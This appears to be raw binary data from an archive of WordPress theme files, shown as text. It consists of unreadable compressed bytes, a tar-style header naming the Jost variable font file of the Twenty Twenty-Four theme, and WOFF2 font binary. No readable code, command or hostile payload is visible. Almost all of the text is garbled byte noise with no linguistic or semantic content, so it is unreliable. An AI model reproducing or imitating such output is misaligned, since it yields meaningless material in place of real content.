읧sOO#ɓc&I&zI񞮿]^+8|oiG.n2 9PF9=}DW5+os#F#UE@_8 oy 0vh< _,q%RzAjo)8"n&̸,kPFd/Fq=# GQ2~m쑁@<>Դwɦӄ.0"K)IHU@~+=_o5^q(:}I`}bp+d4R)Uj>|ӟg5r~Φ/TInn>u=%ĔgR%vvTްlo;eZF/sSeAG{<~b:'E)v[1S(?Z.VX?0ZN;4y/y>-}v V¶c¾D2D.W:8lsU M$4R[!NWׄ .O^W[9{hyi(?Secv[Oޅ^ [v-5wߖ!zգ#7թ9FvГ ǧVZtl+՝I0cž@k*Le!tg&UƬ4Ϙᖄt{[Am[%i]$)9w/bndwO]翋^bm~& Sդk(;Sh=cmsn/S,qK iT_(g ,,>܎9Ε^4Hךˑ9o${RSñe <&yl=奢BiLES4aȦ!LBژE%6[>Icwzzpo+qTꄼ#E]2 ~"V"J5Ժ;٭-󱭃Hn7yPZ`0P++;jx"o;C?"%+$daG?iٌ;[}`&_u9|=[);IޭnCnr`SU?tX\s#5y_}翍}`ofk'DZ0 7ֈU:AS1t\m|GNLQrR_ ; rsOQ,gk*ɓ޼x?Ϧ.U<2觳&s!ڗ5Cj( ÙVkk򻺐&Q=b1zwEY%}wF*<3ip)FfޙIW*rZcے'4(Wg+%=YCSP8nN3A[6>\=Y) ƙs@h0J q 0vid;Y6+v G&T \Bw66!vDNgmӃpSg~sEV򺳟xksy>!j vG^']^5Бpu0^r6 hL%MhϨyCR4цrYW%V5],"moəÁ|Dc,b>)+[eO߼7#i묰!&jrvP ;S <4䙐52la5 RDV>6A(SU=רIK?xh/0# ^{;3edwY!xr ,/@gdIX rՀ4€6Z`B*Rе 6 ƺz}_m?r]S&3sO̬榇9WиE:aMT{Rɕ n_4\QusZ`} k<#4?pa;7q|"R*E :'~Js>ۮL_<q7jk X inD?/P\T 6t|^e?Mhu`_sۗL04PR}bDNSKږ́lZZ! YDZaa[GR=EwI LJe Mq(K7 M5އ b71)IEX_h"3D;Oeg0ͲV">lʩxl@7n36a֞d7}}>JƸ%ξԔDH 2*"|(ʦB)I|I4: P J`EYT&JONd˔A 54)SC:E|mPFo8{OT"%)7k<2PpP6 @(e3R-h)W#B#c)zqϩ:P;J1"kRSo19EPʗ!XʨvD1308urUgP7\gfRgVۊo64  rcJ;e;O|VJ"3r R=-c)l" kЈK7Ǹʊ|dƇMq\RAs}<rW ![24-f/'up#z6m1_EM=>&IŨsTz|&ǽS>(r4e[)쒢y;C5jOL2 yADc(@{:naa=ʰ0GnhWEXw`:L%>3 )@x5 P[¶]2ljvJDGWP$>E$Hz{MGIIg`a0GSM;y'Q"55/?< c;#&Ml}YXGQn y- )R ̪@G L~Zw%LH@z4H-rcwoG(\chF{pU<> %Ѐa{L7yԡ=|-R_Rf]9,."sBTyn.X̩sZ!|ҤRtjz&=88>1;k`NTR]SBA9WHf5SBHpՊ@O =@P1`m5N.}Àw H7jq}NsWc)<} R~Xi]V 4sEVo1LUsig/Bs .?-W:|̈́A%\#7 ③S@`[~=mY] @=}wVw \^vS 9#ut;Q5DQ(D q Z-/e1I0Y1eH^F#=d_ \O5LTo&7\*F" N!KB+]=858L;"#UǖXREZ֏r@Qs/@IܖIydӈ áuBCx#}4PzG#}-WB}`ݎp 'kr(3EY5 f_ j}ͨ w[I 4N)Yм!I* hF)u;H$ͰVˏq=Dro$kH1BNi?̓MwՇ}4  bR4zh (V/ۂv$7$J!ެ>Qؓ޿ҝ:aHR1T9/kʕ ypP4zm()doH᦬i BX<6]MkUj` I 3ȼ֫T_7OnFȑ̝h^2!\I)3 :,gGl>Q۞*((>@2v9Fb}} ,`DuK}I\)j~OfQ#6`S2nhU 9_jLT8)S(nɺJFJ!%aJg/ވ!v<,AIu8ՙSQoHp)+o?:=Cew0ẃ^lMHBݨ:Σ&[<4.l'x'f)bk]"~g|.V'ePwk'?Ifƨ1`D [vf]J(J~+LEp̦n2O89Yc^CX,,p)lkTcT7FI較0P} *hY`\H"uuwwXj>%>opv|\<@B'沜 F#ݛ4ņR*B KNQ5&aAG}?Sǩpê<[Uz|u$6Q %`Ap[f e+u &T0~^FBo4[:p4_DJ{z*+gD7cg[Jə:_rJIDQG 1W`;8~h i2-.k#ԟ$X]ZZ6!m}kbNVT}uk1JCcIr5~E$?c/*DvCEMn*:G\=>C C;wr`zOzxLDzE/FxdCyI _5I#~U JtT7,Λa@VzY6`[$6tVAԐ,Ws݇ﭑI>CAֺ[Tb ;ЅG&q)}}1YBp>mhW:!É$:*"Ϝo3})mf ޙbDa|+'cO ȋATтpO0CkLM~dkfZ6S}4j26$[z{yL?M,5{z>.rjdLk;\ъLvkUNg gS%] xo҇uLo("' ӥՅy"{cIWk|7&yF#iMq0Q_)^Ȏ|fOo$1ѧi]l}P#eQ. Ej sۗ1כ[wk2u+4t'}P1EƮ žkz#fbNZSqY[]mZ)GA\eek|2x>܈AZxZkmϑlpZIm-8(ʎyxr5mŃ`)N.UtqQ'Ig3/E-_m!{6#Qԅeʐ+0QKm"Cf>eaWc qj. [L &`Id64vtfoI eQ~@f@.umϤm>Hj;&EEiJ u᷋yg͡ bnLF/e襕C,6k݅~zu(? žck1'16) @IhΩt.LRTɩGak_ 4Tj+ET;eԾ9k[B~gQ'B=M7ڗ+GT D*Af%Ua@))$[rT%CLh "x^A`q 0 gwr!5P*ٻ$Y !W)dAK+:74],{R۽Bݴh]ot93*} +]IYMZb#]=3( l_MBh, lcKZ\t tݶnk}8$H0X]:\9cy0jyHAVsxbG;ts\ݎoنY} AqG2iȺq+5xrЙ1<.#ۧ]XPF^؏J}bPp81c}7xun5u̮ŮAIi͋^x(Q&ȕnj~zy{j ӑ>剣 1/NC#Rj $՟1u+duI,2܅y>3~ߘ-LJ,ܴༀ[B7kzQU3,.k[l fOea͌Hgĕ OdȂR&ʶ,3O\ql2Y'%D2@$(fRF3-P")Mqrg]{(arho]_()Qa+Mr,{G<JODdՉK)g$U X%M,E}9Wݡ!3-**^!A'ҋ(Z}B1 AQa2KTY 0 M^/g[N, p$Fד"}T} /D)z'rr\ڃxWf۠ByTpv15)yXB{*SO i63V)zG%e ~ͶOeh&g\ ]Yqled[5uDrt(C :3 Q_v_8GMPC-Χ-Z>ESmOI(X]U̐06KT%%zm3 Ə0`E4yRoluͅ&E,냢oFhףB%DPdzW.C262Eoܩ}rVm&L,E'i>L]e\e3z|O)WC5=9>&'u‰yv_utYEG>_&PKeyhf^DrE%6^DQ#w(툛+/X}^޾ha,>Ex`g$צU}+[.rAf w1[;c}96," 6 {h^&Gk&SK^4|sq11$j;j|/^G.:ïb_3]|2e±m n}KvxMhQfD4} K ):nυHɉo&zSoYh[T\#jTG=};v0V$lft:ufՎ!ƾA:hJBЊ!gLSXZ$Ne jdTX~連0$tI@'܊kg?QfA;(A=z2lEAqb6r >7װY޹"7$ԥȓѠʼXG(uNp* K8Q,=[&U#bTkͅWRbptMTЈhV9U09ΫCWm2O t Y'mC&Mˏr զ!+X&#/5SԌt*u,=.AƥӴ izF- syXoREI k 0a3 .y%W}em@duG RP`<{Zɇ#/Wx5tBu\[ V*B;ZY݀ kAN0$^(皕L.$%dn L $]h؜N %2AUEs"kb[vD8 @ uLCk\or(ÅimzZvk"­D*kӷ0͡)M_ ^lyҗ> YʞY{C m\M(Qr(o/bBU!RϏk~'w4rK,#ngaqx |vd-w4KF;x<WK3u̔.o0VyZz2'N준F-7v7noI?=}@mԳh},n2Ƕ&ZJG'5{H5?חJob*kG3(MEPX8" E!(莹@-)_-)/s1}jFӭF͸aY)g? +LQp>L+?A ]P815S-LP=ԹUnzD$ ,^=\1=uza?Z2-u>s@+o˲r8}|߼`n[m-w ~"<$Tz|8sJ ?JrrXݳ;f>˧(j#[2$ã->A?&mpJk.9{cDŽOYzVFSMUjݯZjw l|c+2#x,-Bzѩ}5-FD+]ِiZjzĽ(70v9FNt̫ 0@N7PL(xP{:{ί’wwX *c^_ֱD(KZcf-@,Dvq]NTr+ǫH|߄c7;N'l[$O!4v6 K81ݥ@$,+Kf}^F%IJPOK{E_gIdJAEJQ yEqUf%ŸIP*d_V~y,Ay(z{{ 0':o/ TfQe$gqxO $ξ&^1{7\&+dkԬ0uSz'OEî?1%PK՜XsyϲҶZ$2vIxGL!(شnxSOcr0=n!/TsICZmv7/:Ǭ%9Z8:():6_ ,F3iKEc( N!7i|SСϾ!*k5kEk=9i֍u}pjW> ɮzMo\x 0ܴ9h6Nj7k4-Ve1RސjŖkpC90@>Esq88s1 s9S8.*ϫf8q-mˢckV\'6a<{1`,[uqc4utFb\OޣN]↿twOA-+, ː9+w՞Fg˧3ޏX;A0ihb4ނ7p-}*Dt4jهmeHJ-لMfz:r٦uAmU$G)|tЪlmFƳ#]k>`vIt-FCba:ds3ƚJMv88;hp<uCQrɼP+74qz$(oǁnh:+e:[`\Qb[j.l=w0bBH9nM޾YߔKNռ(/Ŝ1PBIm񿪱>ޒ6=~ګC[5S4y.:#q31u(Q[b|# u$ :ThZ~c:OH(zMorb\h _ߓI&g8ya>.P'&0oc=M=P(Ho];Q/j,!L[q(5s]N2o #07ABr9C]0D=8, M|xHs'}L9]ԦM.0ݴ\Sٕbr{L)#r9ɱ@6PkXJlY+G'kCzho1RcG 37ILMgq4ZRjcsqOG7УNcxn$G?)2)1LoN} ,Y";e7L68di.FG mUƨz'gAQysUm\*0:&}.%+r y CX2 @Ncq%> +b)@|rXRм7kCF-?&bW2@ [ {wÔ9cs.qXrno2q 9!iby[gf[O7Qh]N7tϿRĂwWLbm_akC>_ț&_nJ_oY ̿음ЮPS>lթ1\.[ˤx/PVKV@|-GY:.DW)|HpRz}¡^*f(tx3/'E'?iv?)G{}F1oڊ5Hu)9zf^"8g;Fޟ)X<bPFLn"S'W3O5҄R~/1y"{6\iW,_ey+8eQ?d/ofJX.EcߋmOēLki-Bf$ɤ:߭ןU};]ڕ#vȲI'uB/(?*'yڛkj:OOeQBfmJq_gŷ}k1QNn\1[89AHjPA*QvԆj8ug+Wi|d?+YޛA8tRxm(z-Œ5϶4"18K_ԼÝ60: <$&Gkub֫99lc;D*Hr9 iViScgYށ]Ec7oם!ta1MҐGc&ܓ9w;Ah B20Ӵl3f&=q3[Pq#`\~b)_1>m0ͅ#~.(h=huq`qU#3hRČ^:F|wj`3#P~S_ $01 q0C)vx+iDDf_]]7<)r_֔|ݜ7j}>@_hf$;En9:q)7&76g/[~_SXgSkOP8(!uƝ| '_ >w* ;tACwr2&pEDvUJM#TUłS?/D?v5 ՇP,/!n sQϾGsn#'$Zu'yq(dD~!d?c~twZ3I]ڀࠖ#$G'EP-!q$:NK$MqIZwSU#4ۯǩ2EG';9z&4_wghBaJ̬wZ&Ov&/sW^=n4b ݆R!`_':pRO%D1ޭTI;h#dEẋpĠgݬai 0rGs~h ړRH_k͢{3:ǩ~Urh͊!&/~ZZ2{Pl-EeY :险y[w4%2~ DPr@>Y [smeyKGNڣl奢ap=Tej^;<$0]׿T P7E%IJB7-%^1D, D^wj`pՃ)Z^j/Qlr?& ´h@CiSEt"k,Mk\$Dpfza\q0 ՊmwESyqE!etV\xd .iq#]z\^"fbج'tUuΕm/-}"nR+  /B֍?Mq1ҢQravblH,PTkU^T."$'p.ƴDNF,aTTSi9gV]64Gv{ՂAMw;ⅆt;{Ɔt?TiJd z LOwUPZfB"]E^p=X)MCX1$߃vZ.U2ϳ ,-c aTtC>zT;YKƸYGC Yq]WY^~CxG8 t}su##w>qs*r{$8,VTh07A㺕h$Q<4PݺCϯva/ $ Q@79~1!V-M8+[6zȻ+˙JfZ "+;z‘'oЁà[vo#ZMY"5,K'zx$[d;9S|ٍG: vصjڷ$R S[o#vtƩfё/"g sqy'-jMկ(il&LЉ#Cj]*0"/zX?cwĢy.f7Uݾ< Ve9yr;e͈:, лved| h֬8Tk6Pٵ|9j{[%}zƹo7Zq-'(@,{UE[疿t7b(mu8oO]-q1MH>GQuTQYWEU7Ɓ2Z%r!qV* 9CӀ?msZ`/rbįcޕLӜ$q5{2^m4~D#.YΏTUR.0M9m/ùǂ|}dmV%X4͵.oն}٩ hL|DGl %TC.@LPȃeZxmPZ' R, >||U@R 8CE$ư6}r~76 @o^==ӭ=}k~vSAmM{K,sRӺAWCJ7uOK>c~Ƕܒvg-Vo4*xTKs,?1=Q/L{m@וSy6[v9h5*wf(t KMG 2*4D vh""y~14yPw*ҽ\+Oݦ3 xX\1xKBCh)o}^͋(jģ0δ LItH]ʯ6/^F-!d$kUX@"n`J;y tyShI4c"Dl}/!n-F?4Tĭ6 &|P <%KvJ=_ }8f/JTf`$M1s&!M6JJT].J !s`zn' Wa [Os<~W"?'jT7Rk*r:neo=P0. ĹvB2&PIER)FBKE}"3%AhXI=ED#kj(`ǹc觤trQ\#lv9\"FOfH{>:l.A<,5 Ē![jZD2!8Z_O h[!B5ЈkRmlNȋtjc(,&^'8]ȗ1=ɣ8鰧h>6ڍ T{ykA}js\ OJ\6 d PT Oj-m*" 4mo4o8|o-uΦ&Ae3f.,n"M cS^,1sO X2q3A,*n-s![hMxڗy1* dOI;H!]r,Luz&t:'~] x{x `0f+粊a ~i 6Jk6%i,bG잹G,ʇ.i3!H¸.sh)m~&i)fp' N܄%7bqо`G.Pmp;ͬ%Z"VE((wَҖ|iSXDf m=<0ZE->.~ϹܹE'G6eq>ɂ[].YgՃz'ƘVUu+S:2!ѕNYBl͂TV'CU&44>Ke7%~O;Qؘ:8M,@>XM ~(Aγ\0 nYbbqX&7;T?-kjWӛWqsRA-jLC1_uĹ ٦A_>UG% םfz "G,L%Z-Zb [c<_h%$ٯ%̚ jexєsf]{֓KcqN.:<^=Ӵ1<]pr.i_CwYQF).Wނܲ#M!O~v&HY=Ʒ\rKV~{в!$i,w#|;`$,&N>]74QaG22iVfM(1S}'[2 ~E+Ufg)#>uY׾DI;c'2bܪENېL~Nux,NXccE='MxuY>`%L]PrfS<*U-GPENCyܪ򢊆'oBw#i ?*yIСOߙ B2qlJf⎦:^ս HYɣߍ tX^#&%!0ye >Uj!r19Қ1δn6SXăh1OGc–g~V&uWp!to.D;eÏS]$&Q96~>w FZ{i>h?<ɪj|єX*uWLMDv'4O3QNs L3ۯ|޹&ghN5: o;4Y8ͯ/`y. 1łn;^͒U Wt,]d`rR*urUo+BA[{QUד Y=< =S w m{q H+Qk@r>*0tf7bF1TjY1Rչh(ТCa'{gwo6"|c.o@A<p*+_#I$jw~6C|.+7 +&>̊BY:;(7dyo glΌR9L*'k ry$}EAwru.3K9WP6B45ATU8dUCn^8);3 S8BBfGRTPPfvD]m@fd! in1aVIf(ё]NK.},[aW] a.n=uOc];SnһobŚYq_&g%x(ћbxr!-dn:Lӝ_:ꣂܙrE$UӐJoEKőͮy(5dPy[7*nqdvUh5AJUu+GUf,|?Èu>?a?x֘.pUx5 UUІ`yAuF0c*xbs>/Q5dW2?H"cE J̪ђP1<˱ua_|1lt-T6fK^;mV$wfy%CÜ ~1plT;[#61x_ S_Zm3207\!?uPQ6XHx5>$w`ٞai%+78F}VN7ƇIqn'L:|R+9[OzWx0x~&LZ0ݚ Nx5p b)XX{0F,*҂e("ON^L\wV׭%7'{y^+SB|!7:hwzPkxeNKݥ溶$NK - Rm6OR_ RM$0]mqne⏱tZT_L e>kZO%;h624'Co#k":>L㦼-_9~,yzp6Ӯ=7vڂ?eAES[|k.&<qi=؊,|S. " kbg^%hWpEinIG7L d4_F9ţ6!B2:m}]{盼yNYΎp鋤hH%/,\v 4n MSyϞCsJ2<> 7fڙT[]H_51je]y؈}taTqZcE?7:ۼ6r޳Fh$f˴f+N:=y†b_Q~ua3}5.ƸtFM[J;BՐK!i =ī#ǹ k-Yڮ(S!= L\{ͺ`T4 >u"Q\?|_sOF%T| W8q _!X5g(JdfO$Sxġ_SA_^S>ɯI4sy MR67StATd bB$s]/ʅ0`1Xa.ӥѴON@MA96Bd¡3Gou=k 'V{]o> C@+*EN ۡؾe[_8{ N7 Wՠ(a^b4Hl XQJT28ztJ"XzͶKٟmXBW{nb^ t,zt M!;;#}__a *BύG겔 mV"n//n30PS1e]XhW6IfʺF*WA#sIDfUkk/?)&hya E zw)_dOn*մ0E;a]}ԬOeIzO%S:[tȞArssllC~OWP ˂Uߪ9wLm~=Ff78k*3הcM={f*cܚfxxj E{z< X@+;;j/hqZo ,hkgz6;ȶ̊&1f{1G@&k50t\2JefTm " zR>CGo:a9I}Xϯvo)Ѹґ@sm58Uim?8 zn yAj "y~ ~\4"eB!Ct{99l:1ۮAʩ~ّ,-ݛcBQK]4Ǚ숿m?C; tddzq{x0&} ?D|G(6seTFq!+ВemXTmQtj{]doXG!qjY2.=^J"ѷ [\*(m\qfo=`v*_GX  =ʹGP~R׷%$ Utj\BP1*Qy2He4k:eEW)y(IrHG;N eSDU@g%_Uhf .1)H% QNFJtAty%SĦ7,W#t?Enx)VMjUy?jcpLm#;zE8L}? Z릊Fa !ZZ$l"G}B.k4N2mf:w%{0cnYs$Zď5ⶸ"EW>4uv$7 (Ci`~x"b)^ܗ&nRi~/,[6B?ڏ {~Ma LW4Mfgtj8ˏ(~vf0:/1(1 ~w/NBTP'st1@0>|0f7$?=X H޽t B=Oݳ95:f;-[PYں>ޑAEw;'` m@s(muF 3W2vz\k|~{:xtڀls:e,&l3 x eSa3J`ܝܬc`@&쫾SvPǵG_7!zij׬Y&>=A1w-FwVL.?Bk_uҭǠqL[O%H7ϤO g+W ʽg)E)nL \Y㓡7,-vJB!!r5ۛf.$: K Q_0\vm9gDՔ:fBsUBI`O?}ƼrW #78i4|Lv1<sHFRlnAaK~]2gj S㪍 ݀$,iK8KFg66 *xyvJIb*U[Nr>o')tv! ( ͆ޭSy[c|KCLUFhsB/8>[[!J8`rDQ5) OrD; yQȭZ^/d6\hvnpÊ,n~%T3 -e;LG s$bw=K z&=㘉PLa hY/ ;[ ) Ru)sဏ8\~KQ UYnH5o C./T<6,$d;/_%OM6"C" ^[A7QTH#*D }]잮,F玎^ M> ҔǶ~j2}swfׄb\WIMф'͘Xr M[hNQLIz 8wwrd_CFQ?$!NUT! ⤈w**l' ހz+Ɗ g' P`-*eZV2 J]åTzB2pZzjqǼtFy"2eϜC MBH~ŎdHedQWH9pw9`?A-!hڄA8ruhȍo#Fj&'lHKkb>exEͩrIӹ,#0QI`sqV+ز4V[uztL.CΤκ2&K!=q!-x.kd&eHm.q^&qw A>G)<8(GpyW(=Th]r{uиV{5!\_c!$i2dp1:w 3BT0#t! Ylg`n< lZ `i:r3ǹ@< ^Nh3ܤ[]i YR~Ur7>՚"~>6[#m|opeaǷdqX[FYu6d2Vel%99YkֺC0hn3VmZsؑj5_/W-(Oc&6 ~ډN@.4%YcX`%aUNEwd\*%դYѦ/fI?;7Υ&dGe8,%[lLAmgoBeZ*eP$dYǚs6pw$ƬLAR G~gO+߽[d-[dY(QCqB.3Jg%Jd8KsRɸ]\ FIcκ`O5m-k2!3xSob d YmYĘP'@>$:gXhgpA Lo Y^L "!+2o (P%ghfG!v{6@Ob.]e"a<+9bKYpU7u'bs %%,kUZLJi`&>\Q3ԅX'1NJ,U7[_v/Lp+nuF@&+.4>' VVuv)焟!]m#"wdLB]s:}u:`!Ɛvfw0~`(; J9I3([)+@PEݴݏSAN7w~u|< y)/ks?5Ҵfr%YQ5`4-V́p> Hu^!D6vv,O*|bu bs<1=ܙR-Zjuzd89{xz  թA`.>!1 )9=/rN{uAE QIerR A1ݳՑW0}BsJA+D#6i $cqZ6K|{. dDp!Q~n( uk܄I)f.5G0;Xi{Xu'iqƙ67'b *&N ! Z&ɐe!9| P`!BJFIaD^1V`42YPrʓ@"J*SsZZu5hԤYKLHN]5E4d؈Q&RLL1m>ђ6]3w?ol1);g OԴDzF~#V|_7`xq H ̒ӻr?]~2wq!RxUE/ I (ɊiَA H(m4:U$>D+/$r|@F8\_ L Rbt'" GTaZz~F`VyӬT L(nZt?p~A!aQ1py|P$HerR A1Pk:li݆M[ص:OZ7R_`I/D?#G' #(F bN<'v )a9 \׵!\\GI Uk'F>ʢI:J#EGJ$'DsĨ@h(f1ARk n"k J)m0&BYhAR4 ֧BeNr#dk}F2sC4lFP 'HḾhZ͔)ft5Rt%-J :dIg+L4 ?κN\l =CxOW˒<+,HfXN/6Hm}a-`ph`p;. W-I<ٟDFQj d 0Ss…8TִΡX8^ ~[#*쭩IWetG|1j\MPn(羂u~A^A =A 9]v FPn3RRAAYr7:pI-Ѧq.¾1&, `k 5*f . q靥)NJ0 Wm *r^xބX:E8L瞺Ք† ]r3QW)tM\КY8#m-ZpbT 'g;j9W}tB;UflUĤTTR|96PҹL^ /$nN}<x5a88}AgEURN/28>_jZ8 ycy D,fy a(N, #REe{k!JT&z>EJx<ƀx4"FUm`2F`p"KW~ .7 ʇFˎ%eqs!jp)ksfχpn4t+>;c-|p+Q 7P{{ŷ&粳JQ S+A3Yje "sNI0kJm"ḟlΔ5q/V(n֜]ʚ'\`|0p:3B0FB9IfXNo ӫ~`Kێ FudlVfxW ]5Xl*Ƌ>hRs P4J4)|8\`B0Nz VjF.!NOɫ7AFPJ+!I$I!V$ a^xʉ1sX4Oyq#XmX5MqǍX%lUNZj<VR6#!-ngQ1W#nhgLfJBQ)RF+MeH UR+C)^p+t1AN Fh3 ZVn ˦܎cPȹfE.8n5  sɐ>TXyc!~ܡs>MRekXMV>E%!A>|g_.1~J}7B$UB82>9b ? YlCqh-Zȃa9aPV̞ Xk]S6t}чe^=Ng¿rji427`E:WݾdzLP8.۪YsU9$QY7{;T?$v7n 5@v8 ZzKN ;ʇA' Ԧ&v%HE_ ^hS(R`E{\Nd·!A1 )a˲,˲,˲,˲,qބRӖ;<곹+l5YA-> (ջ]Uڇvp?wpzUuȱۗ5h@B&㔺)!`iCbhz>B0b8ARم&v XT<aǟ'|OmKsͱ $ N'H=@XJyK@y(/EZV6:n-/Sd%ϵD45կVFp_4VrjYنXMueIcv} <|PrDa}Coݞ_l Ӌ WaB0bK^^0| b$E{^WP$HerRhuBX" N`phB`ph%'/匇+c[jk 'B?p%?kUS4j'}%Q̻1l=gZ3i3|DFαzsfzKwK-DTKLZ!W`3!P x[J*3lr"հ%jXg3\J1$kY?>[=+%ρ'vSˁ\(ԭed&Ȧ֪cW8vDT>d3u`њխ{+IpĜs-ƮM9Qm@P du!vRj*E36!A1 )a@Ͱ^(B0b8AR4rza#(Vph`fc^xr뻊nrxsh΍!A1 )a9X!A1 )a98!A1 )a9xB02,W۽E=#a'i9mr, \!WȕM.@FP )a+рjƅߜhk^}N],i7t;[m!A1 )9oQzM`\mrZ?VUI˩dJ~themes/twentytwentyfour/assets/fonts/jost/Jost-VariableFont_wght.woff2000064400000142334152335264760022457 0ustar00wOF2djJ$?HVAR6`?STAT8'."/~ TY 006$J F4 [Yq@涋mqoXq ;ۡp0/nہȼ>/?'Á٫hDDHVQ23 iL@G X4 vzCXS&hiTs}j""蜩~/|%C!l8<2=+ $tNn@z[z\?=p{L}s*kv]HUtok(="GRmysgc+1X)[\t@kϞ`VTy;{_w}%3D`RO#CI80ˆ@QWmm=ۣ^j? 9Xn`l؀Q#r#VDΨN@=+p7V2RVo|<1Ԩ`i IqIn)4ҟ֟˺ ,YŎ!h3ID}ȋ?u%7y x SXP&)d[>u|mwV-^bH$J015ć-㧶YzRi:bMz\CdIC7$ db IөoH5WOi!4Mw{}Ze5iK@ t@^<l p;[ͪg^o,p9yma%t"<ֽ:$;ɾ7#mƶQ؁OjXgS4 '-xuu{ͦIX*\e%d"(P(nV b&[d'2/^O[ѸKվ )!ߥ{AvU (TYHr e0.U"e7 (Ai9ܣtvQ:&oAִb+z"S/ ' /n?cstΑG<$Exl>4-n=.1|~b` Fv@B`,k'pA646[c0v;5 "p( Q,l7SK}8vtS?=7("rtۅG!dJlb2bV S, ]K2,f{v!e:g`}%mC. 6w؜1m%;%# 8 (( BC 4C("P  UbIBFH[[(XčDJ7B$!.pB BE|MQ}aC %uRJ|$Yǔ1 ; 0@*%D!"dMP:4NEv)vh 9po! #XEe(Kд \h4y |&-f=Vف+,4:A-q@%\@@\mr1X Ct,\;uJ 9HN:-ʋpm FA"6$?S!IKFDA,*BW QBԭmvyά%&To: ?kidedgF7oox C'y^Z9IGO*cpc,2 Pp+!ۄ <r $0XXE {} "x; ?v!x. aB8;M#Pڼ~\ ,[`9vQ=gփtA0q598׮#3Wڕkdyq_3oמi~6Vyw 7Rzy-Y*Vp]'.Ƿ6N6Cݩ[)s.3N9'o0=xʃx{c/+o^z|7 <:Asbe5) $7vsxQU( ken@\8ۮ=At`}+4 W UY9قx̿L:i]utIh?anU`~ d[X@Jsߺ~mWn?t^)ZwԜJWgWK |uԠ.Pϻ뫇+ZCz{JNB6cr%6r(/r4و)JQ2rJx.g "duwSϼW2U 4ʗ|ͥ vɩD , &Zۉ5AaTQOqNpr)Nsu]"/UMn t[;SPV Hx& aBb'G)>IY}e.Y~jvj.H^ޙ }}C^`X+ FqJ헎̺f ! 6寙u1էߠh2fZq2TQ')Θi``%JAP̞TR|`߶d|׶3%F!ZY&ҙ5Q=#%Hg$#9#9Cǖ5} .o6[Iy+eA]i`(`{qg bbBHEF pI v*>F:"Y *EQ" '|csS3hFh)-]$ )G^4³Q~('-B2W!Édx z T"V U̅] T%\z#YZ QF@5 =whdMa4Hǖx 6b=ǀ^al|(IntGg{@ UV)Aێаڽ XsMG弸nT;cʝ<[zrzq4Am=icG"yI"[xFssh^ 5** , X,=Fdt=#\)DQ7> R&rDJ  edWB.PBrY, d9R8UI  A%:=w\؍yu[UGINucA`S"@#!7V䫀6q0f&{`xq3*`3,Xu#3vAX#6#YhnPۿkPî ա,bϕs[)(M JVx+,AAp110VT /898h˸};TC/DN?~.*=̲^)^ڥnN8έ=J-Y;u8>L.]7?Za9KdԪL9ǽB;oj,u~apVYuĜQzo ]ĜXP5w8ヤjW9kbA:gO>У!UPv`X&RuG/|x=u*!ԣhkצl"h+)M8!;t9yŶU@O %ᙡ9٩:9N + V>eh[yZMf!''{>o sխdʕ&+u$i$OE>r`塨H$Gϳ(tR%k\5K,\L%.EOÈwnonf^HOtYvͰx}Y:-L]| 8x^ q =qt!78i =-u27/a*eɂ! nuD8d]J{JqPhwMbն{r(5q;]fB s oL81kכĔu9ERFe" dO~{M :&na[grx8θE=q^[m9XHpÖu["+pAMɏ)6'*a9F͂ 0IO)Qݦlɹs%rQq٢'hx&7U^26HH~2W{m0N?'RDOTL  kD B"|&>9hz,U!3s\b"2ݜ{&]A4N+ E M EY98cgOHYmUT(.ʹɔg)=-))7qRIaS|X:Χ.ȚNR(vmn$E kx/3AjE r EUZw#ON a ؅_i"(TWhi6S~JlPD )Uh!BCѠ8̙Ԓ_C`Vs, ;'CG 3)HL LĐi)UW+5me]ܖedYQF7?>5[_ewގfچ]$+a׸y<(/ ySPwyVDz(Wj8\zpf"%P! Ɯ ;8ڿ́X6+q|T%; K6)Wa*gцAlR.)rob}^] yY}VEK2+u:bH-){AINKbƕ1c+adDU1MÓJگjUUU& ̺x/+U5 ozV$z$y7t9JnlTOz c :J/~qux~(Dd@Oх)$&*|1[* B a"V(pj}> X퀛_Mwɹ"4_[Vt?FzvɮIjYn~{:w8Oc'_KixT.NU_n_nED v%a.2U[qG8g/΂J5&akH, B7-}:ARݢ)ɓeSqK|RcϜ)8BR%ZBΥ j}m^^_;$%7'g| @QJHMtN7+(}Bu&^Ҥ͓1/s\BK [,mҴ| jBƙ Ih%-eh~lOԏpy 4 ̍Aq آ /=tE&"W63=w>0ET̼2Dm;~8ep;Uzf;;OYugޡEfM\Z-o>ҦaMD{`eӺJzKl}"Gm e6e(HʖhnKMRrLvEp2"-.FBܴO=d3:~Hh\ A՝tbRGץ=`1+oS꠆_ }_Fj,w=5t5K< `. {Mڇ[qVu>tf>o˅qR3׾%U& 3hY(tj9=4&*6=h#,UݬXhʝԝQ(2cEKuTj1֮^EyuĶiƆn0Y~L|!##Z1U c+'ż2ȏ}b q挳\fG?l :s^svK2y,fsƏ:q\}}jWTrG_刡uɷ:LUZuolL%YaֺV]͵|fB<(|ֻ9 qBF, Mp򗛞.yEt_ox|*'iu`.,?0!TS$4+jD\ȟrޖ+1@^V<*~~#'g)7 1([}D:Y'yhhۉDHKth"\WC6lEѰUNjqCL5uuI9$^Ys(I_XS`|R2q=4nBܯ9>tqrP鶌FrNNyY(`֝TWo(xt~T<J"N:NC811˜_Hcr=O,ͼV?;DNɝns Y9|j6'67T-gO\.q[c vn MpMl2QXuXoMό@M}K,u3+C~pl;3 Xys&j5*š^X"\y'xoO {JvہpL+GfomTe˖Hu*h+rfmwE#uukr!JP,p"Ҵ)Uwݓ{;[{W[ﯲX`TkS}RշBk;"]OLUjUZMF01s#tjU=F2'3+g2zX>,KPj4oZ{]4v$zHH*i9UF͗1蟈\>AXU*ckҙ2y6W"[?mxdjYFG_ .9˻DKœhPSZ¬-e3%6 νq!0 oM+~9w&{fy1y2#Ӧe.u&}mݔ%>_џ:<4Hn?)Mږ2ji̜$܄pmy(/~o9:Nv[uՓ.VXլf}u b_z="O U$HjK)q)4s*!da7٪y rД>fs`,Y6-p2\,Uo}| J븗^v:Ǚ$g~\Xht,F(*Bnz0ɬjjjd݈$)ojx(?+&f]?>YV"͗CC)O?{2QrDJIW:RWrrAe:NJ-`':zrTڌ2ۥH˹X #?f{${{h)&^pW֞(Xb-Wj&_eh:nClЈ03}fwaZK#L5Zb^ϢW bhБiy,ȤZ&G2; {5茳1IsKU.ʚ 1t33v2I"P<~2{ENW{K!u%@,Z= \SE-/pW"u{-z9]1`)ZKG$gq7 x o1}trJp63#_>xw딕$SƯ.؊@& RX$M 4dp(*LOQ&z@}4-S%27eMmEq/ [`wK֐5 ˔%L=f 2j o2K&9 -LCq2qM2zd*S/ѨrifPӕ=FSW2I 